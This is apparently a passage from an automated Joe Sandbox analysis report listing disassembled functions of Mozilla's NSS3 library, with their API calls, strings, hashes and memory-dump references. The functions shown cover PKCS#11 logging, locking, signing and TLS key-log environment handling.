PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C646DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C646DC3

Part of subcall function 6C72D930: PL_strncpyz.NSS3(?,?,?), ref: 6C72D963

PR_LogPrint.NSS3(?,00000000), ref: 6C646DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C646DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C646E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6C646E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6C646E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6C646EB9

Strings

pData = 0x%p, xrefs: 6C646DF5
pDigest = 0x%p, xrefs: 6C646E27
C_Digest, xrefs: 6C646D81
hSession = 0x%x, xrefs: 6C646D9E, 6C646DAE
*pulDigestLen = 0x%x, xrefs: 6C646EB4
ulDataLen = %d, xrefs: 6C646E0E
pulDigestLen = 0x%p, xrefs: 6C646E42
(CK_INVALID_HANDLE), xrefs: 6C646DBC
nrl, xrefs: 6C646E61, 6C646E95

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest$nrl
API String ID: 1003633598-731770219
Opcode ID: b294ed76fd710adc3a88ad0e4aa8de7fed5859012eb57a16a25df31abcd6dbbd
Instruction ID: a7cac9d2a4dc2f03a58e37e1de051eb19681f821292b2ecf429527ce6c4689b3
Opcode Fuzzy Hash: b294ed76fd710adc3a88ad0e4aa8de7fed5859012eb57a16a25df31abcd6dbbd
Instruction Fuzzy Hash: CD41B475601128EFDB019F54DE4DF8A3BB1AB8231CF04C034E809A7612DB31E949CBBA

Function 6C654C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C654C4C
EnterCriticalSection.KERNEL32(?), ref: 6C654C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C654CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C654CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C654CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C654D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C654D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C654DB7

Part of subcall function 6C6BDD70: TlsGetValue.KERNEL32 ref: 6C6BDD8C
Part of subcall function 6C6BDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6BDDB4

Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007AD
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007CD
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007D6
Part of subcall function 6C6007A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C59204A), ref: 6C6007E4
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,6C59204A), ref: 6C600864
Part of subcall function 6C6007A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C600880
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,6C59204A), ref: 6C6008CB
Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(?,?,6C59204A), ref: 6C6008D7
Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(?,?,6C59204A), ref: 6C6008FB

TlsGetValue.KERNEL32 ref: 6C654DD7
EnterCriticalSection.KERNEL32(?), ref: 6C654DEC
PR_Unlock.NSS3(?), ref: 6C654E1B
PR_SetError.NSS3(00000000,00000000), ref: 6C654E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C654E5A
PR_SetError.NSS3(00000000,00000000), ref: 6C654E71
free.MOZGLUE(00000000), ref: 6C654E7A
PR_Unlock.NSS3(?), ref: 6C654EA2
TlsGetValue.KERNEL32 ref: 6C654EC1
EnterCriticalSection.KERNEL32(?), ref: 6C654ED6
PR_Unlock.NSS3(?), ref: 6C654F01
free.MOZGLUE(00000000), ref: 6C654F2A

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 5483a529c73be2a720734e8e120956b0b2fc6c4f618c619faf16e276daa2e5eb
Instruction ID: 2dfd51c521afe6e2516534bae204a3713b5e12a6af00cad22f131c8bea21cd2e
Opcode Fuzzy Hash: 5483a529c73be2a720734e8e120956b0b2fc6c4f618c619faf16e276daa2e5eb
Instruction Fuzzy Hash: 35B10371A002059FDF01EF28D844ABA77B4BF46318FA441B8EC0597B10EB75E975CBA5

Function 6C65FFB0 Relevance: 30.1, APIs: 20, Instructions: 68COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(?,?,6C6576C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6275C2,00000000), ref: 6C65FFB4

Part of subcall function 6C6D98D0: calloc.MOZGLUE(00000001,00000084,6C600936,00000001,?,6C60102C), ref: 6C6D98E5

PR_NewLock.NSS3(?,?,6C6576C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6275C2,00000000), ref: 6C65FFC6

Part of subcall function 6C6D98D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C6D9946
Part of subcall function 6C6D98D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5916B7,00000000), ref: 6C6D994E
Part of subcall function 6C6D98D0: free.MOZGLUE(00000000), ref: 6C6D995E

PR_NewLock.NSS3(?,?,6C6576C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6275C2,00000000), ref: 6C65FFD6
PR_NewLock.NSS3(?,?,6C6576C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6275C2,00000000), ref: 6C65FFE6
PR_NewLock.NSS3(?,?,6C6576C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6275C2,00000000), ref: 6C65FFF6
PR_NewLock.NSS3(?,?,6C6576C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6275C2,00000000), ref: 6C660006
PR_NewLock.NSS3(?,?,6C6576C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6275C2,00000000), ref: 6C660016
PR_NewLock.NSS3(?,?,6C6576C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6275C2,00000000), ref: 6C660026
PR_NewLock.NSS3(?,?,6C6576C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6275C2,00000000), ref: 6C660036
PR_NewLock.NSS3(?,?,6C6576C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6275C2,00000000), ref: 6C660046
PR_NewLock.NSS3(?,?,6C6576C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6275C2,00000000), ref: 6C660056
PR_NewLock.NSS3(?,?,6C6576C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6275C2,00000000), ref: 6C660066
PR_NewLock.NSS3(?,?,6C6576C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6275C2,00000000), ref: 6C660076
PR_NewLock.NSS3(?,?,6C6576C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6275C2,00000000), ref: 6C660086
PR_NewLock.NSS3(?,?,6C6576C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6275C2,00000000), ref: 6C660096
PR_NewLock.NSS3(?,?,6C6576C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6275C2,00000000), ref: 6C6600A6
PR_NewLock.NSS3(?,?,6C6576C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6275C2,00000000), ref: 6C6600B6
PR_NewLock.NSS3(?,?,6C6576C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6275C2,00000000), ref: 6C6600C6
PR_NewLock.NSS3(?,?,6C6576C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6275C2,00000000), ref: 6C6600D6
PR_NewLock.NSS3(?,?,6C6576C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6275C2,00000000), ref: 6C6600E6

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Lock$CountCriticalErrorInitializeLastSectionSpincallocfree
String ID:
API String ID: 1407103528-0
Opcode ID: 60281f2464ff83bafd4086e627c49cfccca4ae3306cedd47061e7953a6a0513d
Instruction ID: 9e94d550527ed8950fc91b1b98388a8f47048c8caef6f74a201aee78fb583070
Opcode Fuzzy Hash: 60281f2464ff83bafd4086e627c49cfccca4ae3306cedd47061e7953a6a0513d
Instruction Fuzzy Hash: 023132F0E0167CDECB57DF2580581493AB4F757A08B11493BD03886B01DB7419AACFAE

Function 6C6A6E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6C6A6BF7), ref: 6C6A6EB6

Part of subcall function 6C601240: TlsGetValue.KERNEL32(00000040,?,6C60116C,NSPR_LOG_MODULES), ref: 6C601267
Part of subcall function 6C601240: EnterCriticalSection.KERNEL32(?,?,?,6C60116C,NSPR_LOG_MODULES), ref: 6C60127C
Part of subcall function 6C601240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C60116C,NSPR_LOG_MODULES), ref: 6C601291
Part of subcall function 6C601240: PR_Unlock.NSS3(?,?,?,?,6C60116C,NSPR_LOG_MODULES), ref: 6C6012A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6C74FC0A,6C6A6BF7), ref: 6C6A6ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6A6EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6C6A6EFC
PR_NewLock.NSS3 ref: 6C6A6F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C6A6F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6C6A6BF7), ref: 6C6A6F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6C6A6BF7), ref: 6C6A6F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6C6A6BF7), ref: 6C6A6FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6C6A6BF7), ref: 6C6A6FFD

Strings

NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6C6A6F4F
SSLKEYLOGFILE, xrefs: 6C6A6EB1
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6C6A6FDB
SSLFORCELOCKS, xrefs: 6C6A6F2B
# SSL/TLS secrets log file, generated by NSS, xrefs: 6C6A6EF7
NSS_SSL_CBC_RANDOM_IV, xrefs: 6C6A6FF8

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: a794d0aaf35f49631ded95b2c5e24227998af23abe43f1c3930aac05c568f9d2
Instruction ID: 92337d9293520b23b1f02ca4e2e2320ada8b42cb5b0287f4bea86f6a239df0ac
Opcode Fuzzy Hash: a794d0aaf35f49631ded95b2c5e24227998af23abe43f1c3930aac05c568f9d2
Instruction Fuzzy Hash: F0A15DB2B59D9487EB0146BCCD0139433E2AB9332AF584375E530C7ED8DB76DC428299

Function 6C625DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C625DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6C625E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6C625E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6C625E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6C625EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6C625ED9
SECKEY_SignatureLen.NSS3(?), ref: 6C625F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6C625F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C625F89
free.MOZGLUE(?), ref: 6C625FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C625FB6
free.MOZGLUE(00000000), ref: 6C625FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C62600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C626079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C626084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C626094

Strings

, xrefs: 6C625EEB

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: 0457c225943ca8f65416d5f4fb8d4ff51d6c066b59830e1d0380119c745b00f9
Instruction ID: 970cb485c918e91a36186f0494186fed8dece1c9b703d14c9ed26a69568c5869
Opcode Fuzzy Hash: 0457c225943ca8f65416d5f4fb8d4ff51d6c066b59830e1d0380119c745b00f9
Instruction Fuzzy Hash: CF8113B1E002059BDB208F24CD84BAE77B4AF05318F144528E959E7B85E739E804CFEA

Function 6C644E60 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6C644E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C644EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C644EC7

Part of subcall function 6C72D930: PL_strncpyz.NSS3(?,?,?), ref: 6C72D963

PR_LogPrint.NSS3(?,00000000), ref: 6C644EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C644F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C644F1A
PR_LogPrint.NSS3(?,00000000), ref: 6C644F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6C644F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6C644F68

Strings

pTemplate = 0x%p, xrefs: 6C644F4A
hObject = 0x%x, xrefs: 6C644EF5, 6C644F05
C_GetAttributeValue, xrefs: 6C644E7E
hSession = 0x%x, xrefs: 6C644EA2, 6C644EB2
(CK_INVALID_HANDLE), xrefs: 6C644EC0, 6C644F13
nrl, xrefs: 6C644F82, 6C644FB2
ulCount = %d, xrefs: 6C644F63

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue$nrl
API String ID: 1003633598-1643950507
Opcode ID: f68410a4c97aa5cfd32c6ef0b60d6722ef91e9312b07cf7afc5c5b3f55706779
Instruction ID: 84fb52aa0e1ed34075ca93ece451ad36c3f9ca4ed6ce884b05a569bdc3021b1c
Opcode Fuzzy Hash: f68410a4c97aa5cfd32c6ef0b60d6722ef91e9312b07cf7afc5c5b3f55706779
Instruction Fuzzy Hash: 3B41D671601158EFDB019F54DE8DFAA77B5AB8231DF04C034E90857A12DB749908CBBA

Function 6C644CD0 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6C644CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C644D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C644D37

Part of subcall function 6C72D930: PL_strncpyz.NSS3(?,?,?), ref: 6C72D963

PR_LogPrint.NSS3(?,00000000), ref: 6C644D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C644D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C644D8A
PR_LogPrint.NSS3(?,00000000), ref: 6C644DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6C644DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6C644E20

Strings

hObject = 0x%x, xrefs: 6C644D65, 6C644D75
pulSize = 0x%p, xrefs: 6C644DB7
hSession = 0x%x, xrefs: 6C644D12, 6C644D22
*pulSize = 0x%x, xrefs: 6C644E1B
C_GetObjectSize, xrefs: 6C644CEE
(CK_INVALID_HANDLE), xrefs: 6C644D30, 6C644D83
nrl, xrefs: 6C644DD4, 6C644DFF

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize$nrl
API String ID: 1003633598-1956224674
Opcode ID: 7684382a1768efeeb56ceffdb7db92f6a71c9144a1e8138edf6fcc121b56c1a1
Instruction ID: 0acb6e4429bc1d60904aab93aa5f83ee78a27324e476ce98acb99494f280e62f
Opcode Fuzzy Hash: 7684382a1768efeeb56ceffdb7db92f6a71c9144a1e8138edf6fcc121b56c1a1
Instruction Fuzzy Hash: 5341E771601118EFDB019F10DE8EFAA3BB5EB4235DF04C035E8086BA12DB749948DB7A

Function 6C642F00 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6C642F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C642F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C642F63

Part of subcall function 6C72D930: PL_strncpyz.NSS3(?,?,?), ref: 6C72D963

PR_LogPrint.NSS3(?,00000000), ref: 6C642F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6C642F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6C642FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6C642FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6C642FE7

Strings

pOldPin = 0x%p, xrefs: 6C642F95
C_SetPIN, xrefs: 6C642F21
ulOldLen = %d, xrefs: 6C642FB0
hSession = 0x%x, xrefs: 6C642F3E, 6C642F4E
(CK_INVALID_HANDLE), xrefs: 6C642F5C
nrl, xrefs: 6C642FFF, 6C643030
pNewPin = 0x%p, xrefs: 6C642FC9
ulNewLen = %d, xrefs: 6C642FE2

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN$nrl
API String ID: 1003633598-2311208973
Opcode ID: ecedc3819fb2ab8fd590f0e3b4196bd957eeb571b52b319065262527abde4ddb
Instruction ID: c82db861a7a42adac37305707c0c499a3d3bd77126c0cb12181ce34852dc1c23
Opcode Fuzzy Hash: ecedc3819fb2ab8fd590f0e3b4196bd957eeb571b52b319065262527abde4ddb
Instruction Fuzzy Hash: 76310431601158EFCB029F54CE4CF8A7BB1EB47359F58C034E808A7A12DB319948DBBA

Function 6C729C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6C729C70
PR_NewLock.NSS3 ref: 6C729C85

Part of subcall function 6C6D98D0: calloc.MOZGLUE(00000001,00000084,6C600936,00000001,?,6C60102C), ref: 6C6D98E5

PR_NewCondVar.NSS3(00000000), ref: 6C729C96

Part of subcall function 6C5FBB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C6021BC), ref: 6C5FBB8C

PR_NewLock.NSS3 ref: 6C729CA9

Part of subcall function 6C6D98D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C6D9946
Part of subcall function 6C6D98D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5916B7,00000000), ref: 6C6D994E
Part of subcall function 6C6D98D0: free.MOZGLUE(00000000), ref: 6C6D995E

PR_NewLock.NSS3 ref: 6C729CB9
PR_NewLock.NSS3 ref: 6C729CC9
PR_NewCondVar.NSS3(00000000), ref: 6C729CDA

Part of subcall function 6C5FBB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C5FBBEB
Part of subcall function 6C5FBB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C5FBBFB
Part of subcall function 6C5FBB80: GetLastError.KERNEL32 ref: 6C5FBC03
Part of subcall function 6C5FBB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C5FBC19
Part of subcall function 6C5FBB80: free.MOZGLUE(00000000), ref: 6C5FBC22

PR_NewCondVar.NSS3(?), ref: 6C729CF0
PR_NewPollableEvent.NSS3 ref: 6C729D03

Part of subcall function 6C71F3B0: PR_CallOnce.NSS3(6C7714B0,6C71F510), ref: 6C71F3E6
Part of subcall function 6C71F3B0: PR_CreateIOLayerStub.NSS3(6C77006C), ref: 6C71F402
Part of subcall function 6C71F3B0: PR_Malloc.NSS3(00000004), ref: 6C71F416
Part of subcall function 6C71F3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6C71F42D
Part of subcall function 6C71F3B0: PR_SetSocketOption.NSS3(?), ref: 6C71F455
Part of subcall function 6C71F3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6C71F473

Part of subcall function 6C6D9890: TlsGetValue.KERNEL32(?,?,?,6C6D97EB), ref: 6C6D989E

EnterCriticalSection.KERNEL32(?), ref: 6C729D78
calloc.MOZGLUE(00000001,0000000C), ref: 6C729DAF
_PR_CreateThread.NSS3(00000000,6C729EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6C729D9F

Part of subcall function 6C5FB3C0: TlsGetValue.KERNEL32 ref: 6C5FB403
Part of subcall function 6C5FB3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6C5FB459

_PR_CreateThread.NSS3(00000000,6C72A060,00000000,00000001,00000001,00000000,?,00000000), ref: 6C729DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6C729DFC
